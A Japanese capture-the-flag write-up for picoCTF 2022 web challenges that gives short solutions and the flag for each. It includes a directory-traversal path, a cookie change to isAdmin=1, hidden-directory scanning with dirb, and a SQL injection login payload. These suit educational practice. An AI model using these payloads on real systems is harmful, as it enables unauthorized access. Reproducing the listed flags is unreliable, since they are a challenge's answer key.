picoCTF 2022 writeup[web]
picoCTF 2022 writeup[web]
Includes (100pts)
style.cssとscript.jsを見るだけ。
picoCTF{1nclu51v17y_1of2_f7w_2of2_f4593d9d}
Inspect HTML (100pts)
ソース見るだけ。
picoCTF{1n5p3t0r_0f_h7ml_dd513514}
Local Authority (100pts)
一度ログインに失敗したときに出てくるlogin.phpのソースを見てみると、secure.jsというファイルを読み込んでいて、その中にAdminのusernameとpasswordがかいてありました。
picoCTF{j5_15_7r4n5p4r3n7_6309e949}
Search source (100pts)
wget -m
でミラーリングして見てみると、style.cssに書いてありました。
picoCTF{1nsp3ti0n_0f_w3bpag3s_227d64bd}
Forbidden Paths (200pts)
問題文中でwebsiteのファイルが/usr/share/nginx/html/
に、flagが/flag
にあると書いてあるので、ディレクトリトラバーサルをするだけ。
Filenameに../../../../../flag.txt
をいれるとflagが出てきます。
picoCTF{7h3_p47h_70_5ucc355_26b22ab3}
Power Cookie (200pts)
cookieをisAdmin=1に書き換えるだけ。
picoCTF{gr4d3_A_c00k13_dcb9f091}
Roboto Sans (200pts)
まずはSearch sourceの時と同様にwget -m
でミラーリングをすると、robots.txt
にbase64でエンコードされた何かが見えます。
デコードするとjs/myfile.txt
というファイルがあることがわかるので、http://saturn.picoctf.net:65442/js/myfile.txt を見るとflagがみつかります。
picoCTF{Who_D03sN7_L1k5_90B0T5_a4f5cc70}
Secrets (200pts)
dirbというWeb Content Scannerで隠しファイルを見つけます。まずはデフォルトの辞書と問題文で渡されたurlから隠しファイルを探してもらいました。
dirb http://saturn.picoctf.net:54925/
...
+ http://saturn.picoctf.net:54925/secret/index.html (CODE:200|SIZE:468)
+ http://saturn.picoctf.net:54925/secret/hidden/index.html (CODE:200|SIZE:2118)
ここで見つかったsecret/hidden/index.html
を見てみると、superhidden
というディレクトリを見ていることがわかります。そこで、"hidden" "superhidden" "secret" "index.html"と4単語のみを入れたwordlist.txtを作成し、これを使って再度dirbを走らせました。
dirb http://saturn.picoctf.net:54925/ ~/workspace/picoctf2022/web/Secrets/wordlist.txt
...
+ http://saturn.picoctf.net:54925/index.html (CODE:200|SIZE:1023)
+ http://saturn.picoctf.net:54925/secret/index.html (CODE:200|SIZE:468)
+ http://saturn.picoctf.net:54925/secret/hidden/index.html (CODE:200|SIZE:2118)
+ http://saturn.picoctf.net:54925/secret/hidden/superhidden/index.html (CODE:200|SIZE:255)
勝ちです。http://saturn.picoctf.net:54925/secret/hidden/superhidden/index.html
のソースにflagがありました。
picoCTF{succ3ss_@h3n1c@10n_34327aaf}
SQL Direct (200pts)
PostgreSQLのテーブルを見に行くだけ。
pico-# \dt
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | flags | table | postgres
(1 row)
pico=# select * from public.flags;
id | firstname | lastname | address
----+-----------+-----------+----------------------------------------
1 | Luke | Skywalker | picoCTF{L3arN_S0m3_5qL_t0d4Y_0414477f}
2 | Leia | Organa | Alderaan
3 | Han | Solo | Corellia
(3 rows)
picoCTF{L3arN_S0m3_5qL_t0d4Y_0414477f}
SQLiLite (300pts)
SQL injectionをするだけ。Usernameにa' OR 1==1; --
を、Passwordにb
を入れるとSQL queryがSELECT * FROM users WHERE name='a' OR 1==1; --' AND password='b'
になるのでログインできます。
picoCTF{L00k5_l1k3_y0u_solv3d_it_33d32a56}